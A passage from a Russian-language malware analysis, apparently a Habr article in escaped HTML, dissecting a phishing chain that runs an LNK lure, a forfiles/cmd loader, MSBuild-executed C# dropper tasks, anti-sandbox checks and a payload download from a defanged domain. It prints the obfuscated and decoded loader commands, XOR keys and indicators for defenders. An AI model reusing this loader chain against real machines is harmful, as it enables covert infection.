DLL \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435, \u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u043c\u044c DLL &#8212; \u0437\u0430\u0434\u0430\u0447\u0438, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0447\u0435\u0440\u0435\u0437 MSBuild.exe.<\/p>\n<\/li>\n<\/ul>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0444\u0430\u0439\u043b\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438, \u0441\u043a\u0440\u044b\u0442\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 <strong>HealthDataExperience.exe<\/strong> \u0441 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 <strong>files-manager[.]com<\/strong> \u0438 \u0435\u0433\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0443\u0441\u043a. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u043d\u0438\u0436\u0435.<\/p>\n<h2>LNK<\/h2>\n<p>LNK-\u0444\u0430\u0439\u043b <strong>Spisok_rabotnikov.lnk<\/strong> \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 C# \u043a\u043e\u0434\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 <strong>.DS_Store<\/strong>. \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432 LNK-\u0444\u0430\u0439\u043b\u0435 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0438 \u0438\u043c\u0435\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0438\u0434:<\/p>\n<pre><code class=\"bash\">forfiles.exe \/p %USERPROFILE% \/s \/m *Spisok_rabotnikov.zip \/c \"0x630x6d0x640x2e0x650x780x65 \/0x63 0x630x64 %TEMP% &amp; 0x74ar -0x78f @path 0x2e* &amp; 0x630x6d0x640x2e0x650x780x65 \/q &lt; %TEMP%\\0x2eDS_Stor0x65\"<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0438\u043c\u0435\u0435\u0442 \u0432\u0438\u0434:<\/p>\n<pre><code class=\"bash\">forfiles.exe \/p %USERPROFILE% \/s \/m *Spisok_rabotnikov.zip \/c \"cmd.exe \/c cd %TEMP% &amp; tar -xf @path .* &amp; cmd.exe \/q &lt; %TEMP%\\.DS_Store\"<\/code><\/pre>\n<p>\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432 LNK-\u0444\u0430\u0439\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f:<\/p>\n<ol>\n<li>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f forfiles.exe \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0432\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u0430\u0440\u0445\u0438\u0432\u0430 \u043f\u043e \u043c\u0430\u0441\u043a\u0435 *Spisok_rabotnikov.zip, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f %USERPROFILE%. <\/p>\n<\/li>\n<li>\n<p>\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 %TEMP%, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0443 cd. <\/p>\n<\/li>\n<li>\n<p>\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 %TEMP% \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b tar.exe (\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 Windows 10) \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432, \u0438\u043c\u0435\u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 .* \u0438\u0437 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0430\u0440\u0445\u0438\u0432\u0430 Spisok_rabotnikov.zip. <\/p>\n<\/li>\n<li>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0438\u0437 %TEMP%\\.DS_Store \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0443 &#171;cmd.exe &lt;&#171;. <\/p>\n<\/li>\n<\/ol>\n<p><strong>UTask (C# Dropper)<\/strong><\/p>\n<p>\u0424\u0430\u0439\u043b <strong>.DS_Store<\/strong> \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u0441\u0430\u043c\u043e\u043c \u043d\u0430\u0447\u0430\u043b\u0435 \u043c\u0443\u0441\u043e\u0440\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 (\u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438), \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b:<\/p>\n<pre><code class=\"bash\">mkdir %USERPROFILE%\\source\\repos\\FZdlyPUMslYX cd %USERPROFILE%\\source\\repos\\FZdlyPUMslYX copy \/Y %TEMP%\\.DS_Store %USERPROFILE%\\source\\repos\\FZdlyPUMslYX C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe %USERPROFILE%\\source\\repos\\FZdlyPUMslYX\\.DS_Store >nul 2>&amp;1 exit<\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0441\u043e\u0437\u0434\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <strong>%USERPROFILE%\\source\\repos\\FZdlyPUMslYX<\/strong>, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b <strong>%TEMP%.DS_Store<\/strong>, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e C# \u043a\u043e\u0434\u0430 \u0444\u0430\u0439\u043b\u0430 <strong>.DS_Store<\/strong> \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <strong>MSBuild.exe<\/strong>.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f C# \u043a\u043e\u0434 \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/202\/aab\/87b\/202aab87b384079514df6f100cb283be.png\" width=\"1040\" height=\"1010\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/202\/aab\/87b\/202aab87b384079514df6f100cb283be.png\"\/><\/figure>\n<p>\u0417\u0430\u0434\u0430\u0447\u0430 <strong>UTask <\/strong>\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u043e\u043b\u044c \u0434\u0440\u043e\u043f\u043f\u0435\u0440\u0430. \u041a\u043e\u0434 \u0434\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 (\u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 C# \u043a\u043e\u0434\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>) \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <strong>%USERPROFILE%\\source\\repos\\FZdlyPUMslYX<\/strong>:<\/p>\n<ul>\n<li>\n<p>IRVkMCvS.blob &#8212; <strong>XorTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _aSyzNgT7d18NpzuJHYhlYrzXNPG)<\/p>\n<\/li>\n<li>\n<p>jFXvSUwAb.blob &#8212; <strong>AntiSandboxTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _fsh1fYMdExGdJ0UKqIXq0s0tLJG)<\/p>\n<\/li>\n<li>\n<p>KNEdBVMwkY.blob &#8212; <strong>ExecuteTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _dycW4DGLIQ75gosRrPdxqttPfkE)<\/p>\n<\/li>\n<li>\n<p>kVaocWvcXxpj.blob &#8212; <strong>DownloadTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _eXdtj65NprE9kjSakYTX7tOsbLb)<\/p>\n<\/li>\n<li>\n<p>MuIJdGFgmniD.blob &#8212; <strong>SlowdownTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _huo7h8CP6Mizq9S4Dg5zNuYyVyb)<\/p>\n<\/li>\n<li>\n<p>nXkBdHyy.blob &#8212; <strong>HideTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _SaCF5X1zV8jhINFNCliJJ0Atydp)<\/p>\n<\/li>\n<li>\n<p>xnhvkUzROwkSr.blob &#8212; <strong>GuardTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _FkOdNAsgTdH0tOPitrVXFSQ991z)<\/p>\n<\/li>\n<li>\n<p>Microsoft.Build.Framework.dll &#8212; \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b<\/p>\n<\/li>\n<li>\n<p>Microsoft.Build.Utilities.Core.dll &#8212; \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 9 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u043c\u0435\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0432 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435:<\/p>\n<p><em>&lt;!&#8212;[Base64 \u043f\u0443\u0442\u044c \u043a \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0444\u0430\u0439\u043b\u0443]:[Base64 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430]&#8212;><\/em><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2bd\/c83\/8a9\/2bdc838a95d64430a7a94f4a5ec38844.png\" width=\"1600\" height=\"876\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2bd\/c83\/8a9\/2bdc838a95d64430a7a94f4a5ec38844.png\"\/><\/figure>\n<p>\u0424\u0430\u0439\u043b\u044b *.blob \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 (DLL) \u0444\u043e\u0440\u043c\u0430\u0442\u0430 PE32, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 .NET \u0438 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u043c ConfuserEx.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>, MSBuild.exe \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0438:\u00a0<\/p>\n<p>nXkBdHyy.blob (<strong>HideTask<\/strong>), KNEdBVMwkY.blob (<strong>ExecuteTask<\/strong>), xnhvkUzROwkSr.blob (<strong>GuardTask<\/strong>), MuIJdGFgmniD.blob (<strong>SlowdownTask<\/strong>), jFXvSUwAb.blob (<strong>AntiSandboxTask<\/strong>), kVaocWvcXxpj.blob (<strong>DownloadTask<\/strong>), MuIJdGFgmniD.blob (<strong>SlowdownTask<\/strong>), IRVkMCvS.blob (<strong>XorTask<\/strong>), KNEdBVMwkY.blob (<strong>ExecuteTask<\/strong>).<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/253\/097\/138\/25309713821478477ccc2c8d1b8064cb.png\" width=\"1229\" height=\"477\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/253\/097\/138\/25309713821478477ccc2c8d1b8064cb.png\"\/><\/figure>\n<p>\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0432\u0430\u0436\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u043c XOR \u0441 \u043a\u043b\u044e\u0447\u043e\u043c 16 \u0431\u0430\u0439\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 \u0441\u043e \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438 \u0432 \u0432\u0438\u0434\u0435 \u0441\u0442\u0440\u043e\u043a\u0438. \u0412 \u0437\u0430\u0434\u0430\u0447\u0430\u0445: <strong>HideTask<\/strong>, <strong>ExecuteTask<\/strong>, <strong>GuardTask<\/strong>, <strong>SlowdownTask<\/strong>, <strong>AntiSandboxTask<\/strong>, <strong>DownloadTask<\/strong>; \u043a\u043b\u044e\u0447 <strong>3309f5a10063afef30290e635561bcd8<\/strong>, \u0430 \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 <strong>XorTask<\/strong> \u043a\u043b\u044e\u0447 <strong>a88194101b73a5b1ed1fff9ebf340726<\/strong>.<\/p>\n<p>\u0412 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u043d\u0438\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c \u0432\u044b\u0448\u0435 \u0437\u0430\u0434\u0430\u0447\u0430\u043c, \u043a\u0440\u043e\u043c\u0435 <strong>HideTask<\/strong>, <strong>AntiSandboxTask<\/strong> \u0438 <strong>SlowdownTask<\/strong>.<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0417\u0430\u0434\u0430\u0447\u0430<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">ExecuteTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">mkXFB6MZ8lmESONcDol1JTjR4Kq<\/p>\n<\/td>\n<td>\n<p align=\"left\">hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov.pdf<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">ExecuteTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">mkXFB6MZ8lmESONcDol1JTjR4Kq<\/p>\n<\/td>\n<td>\n<p align=\"left\">HealthDataExperience.exe<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">GuardTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">_VueDgAHltwEszdmBp5N8BtOpFUh<\/p>\n<\/td>\n<td>\n<p align=\"left\">%temp%\\zWOnFfZp<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">DownloadTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">_NGWUhdaVQc7D9i5aaMH5YMArRqk<\/p>\n<\/td>\n<td>\n<p align=\"left\">hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/E\/idx\/download\/grWUbTk00UWnSutvoJLaUkJyI<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">DownloadTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">_msWUmumCLqCVU6edlovRYG0Y6Eg<\/p>\n<\/td>\n<td>\n<p align=\"left\">HealthDataExperience.exe<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">DownloadTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">_BScGwQZfayw3c2LBgfvUA1e8AVg<\/p>\n<\/td>\n<td>\n<p align=\"left\">Mozilla\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.82 YaBrowser\/22.1.0 Yowser\/2.5 Safari\/537.36<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">XorTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">_4fCwQ7rAqcME3wfkvX8av4ravkY<\/p>\n<\/td>\n<td>\n<p align=\"left\">HealthDataExperience.exe<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h2>\u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447<\/h2>\n<p>0. <strong>UTask<\/strong> &#8212; \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 (\u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 C# \u043a\u043e\u0434\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>) \u0438 \u0438\u0445 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 <strong>%USERPROFILE%\\source\\repos\\FZdlyPUMslYX<\/strong>.<\/p>\n<p>1. nXkBdHyy.blob (<strong>HideTask<\/strong>) &#8212; \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043e\u043a\u043d\u0430 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.<\/p>\n<p>2. KNEdBVMwkY.blob (<strong>ExecuteTask<\/strong>) &#8212; \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0444\u0430\u0439\u043b\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0432 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov.pdf.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/227\/685\/fa8\/227685fa801187ebaf8a73438791b6a3.PNG\" width=\"1072\" height=\"1028\"\/><\/figure>\n<ol start=\"3\">\n<li>\n<p>xnhvkUzROwkSr.blob (<strong>GuardTask<\/strong>) &#8212; \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0443\u0441\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 <strong>%TEMP%\\zWOnFfZp<\/strong>.<\/p>\n<\/li>\n<li>\n<p>MuIJdGFgmniD.blob (<strong>SlowdownTask<\/strong>) &#8212; \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.<\/p>\n<\/li>\n<li>\n<p>jFXvSUwAb.blob (<strong>AntiSandboxTask<\/strong>) &#8212; \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 VBAWarnings, AccessVBOM, ExtensionHardening \u043a\u043b\u044e\u0447\u0435\u0439 \u0440\u0435\u0435\u0441\u0442\u0440\u0430 [HKCU\\SOFTWARE\\Microsoft\\Office{0}.0\\Word\\Security], \u0433\u0434\u0435 {0} &#8212; \u0447\u0438\u0441\u043b\u0430 \u043e\u0442 12 \u0434\u043e 19 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e.<\/p>\n<\/li>\n<li>\n<p> kVaocWvcXxpj.blob (<strong>DownloadTask<\/strong>) &#8212; \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/E\/idx\/download\/grWUbTk00UWnSutvoJLaUkJyI \u0438 \u0435\u0433\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c <strong>%USERPROFILE%\\source\\repos\\FZdlyPUMslYX\\HealthDataExperience.exe.<\/strong><\/p>\n<\/li>\n<li>\n<p>MuIJdGFgmniD.blob (<strong>SlowdownTask<\/strong>) &#8212; \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.<\/p>\n<\/li>\n<li>\n<p>IRVkMCvS.blob (<strong>XorTask<\/strong>) &#8212; \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 <strong>%USERPROFILE%\\source\\repos\\FZdlyPUMslYX\\HealthDataExperience.exe<\/strong>.<\/p>\n<\/li>\n<li>\n<p>KNEdBVMwkY.blob (<strong>ExecuteTask<\/strong>) &#8212; \u0437\u0430\u043f\u0443\u0441\u043a \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 